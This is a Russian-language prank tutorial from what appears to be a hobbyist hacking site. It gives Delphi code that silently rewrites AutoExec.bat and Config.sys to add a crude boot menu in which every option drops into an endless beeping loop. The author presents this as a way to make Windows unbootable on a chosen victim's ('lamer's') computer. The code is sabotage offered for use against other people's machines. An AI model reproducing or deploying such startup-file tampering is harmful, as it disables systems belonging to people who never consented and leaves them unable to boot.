Вы когда-нибудь видели меню в DOS'е? Ну, например, то самое, которое появляется по нажатию на F8 до загрузки Windows. А представьте себе, если у вас оно будет появляться без всяких нажатий на клавиши, да ещё и пункты меню будут с заданными вами заголовками, ну, и, наконец, если не по одному из пунктов меню вы не сможете загрузить Windows...
Для этого нам понадобятся два системных файла, умение делать копию в буфер обмена (дабы не писать тот код, что я вам сейчас покажу) и ламерюга, на котором вы бы хотели всё это испытать.
Ну, за последним дело не постоит, а сначала нужно сделать следующее:
Выносим компонент класса TMemo - это большое текстовое поле (мы уже учились использовать переменные для взаимодействия с файлами, когда выводили сообщение во время загрузки системы, теперь будем использовать компоненты).
По созданию окна пишем:
|
Code: |
|
procedure TForm1.FormCreate(Sender: TObject); begin with Memo1.Lines do begin Clear; LoadFromFile('C:\AutoExec.bat'); Insert(3,'goto %config%'); Insert(4,':FuckSystem'); Append('beep'); Append('goto FuckSystem'); Append(':HackSystem'); Append('beep'); Append('goto HackSystem'); Append(':exit'); SaveToFile('C:\AutoExec.bat');
Clear; LoadFromFile('C:\Config.sys'); Append('[menu]'); Append('menuitem=HackSystem, HackSystem'); Append('menuitem=FuckSystem, FuckSystem'); Append('[FuckSystem]'); Append('[HackSystem]'); SaveToFile('C:\Config.sys'); end; end; |
Просьба писать ваши замечания, наблюдения и все остальное,
что поможет улучшить предоставляемую информацию на этом сайте.
ВСЕ КОММЕНТАРИИ МОДЕРИРУЮТСЯ ВРУЧНУЮ, ТАК ЧТО СПАМИТЬ БЕСПОЛЕЗНО!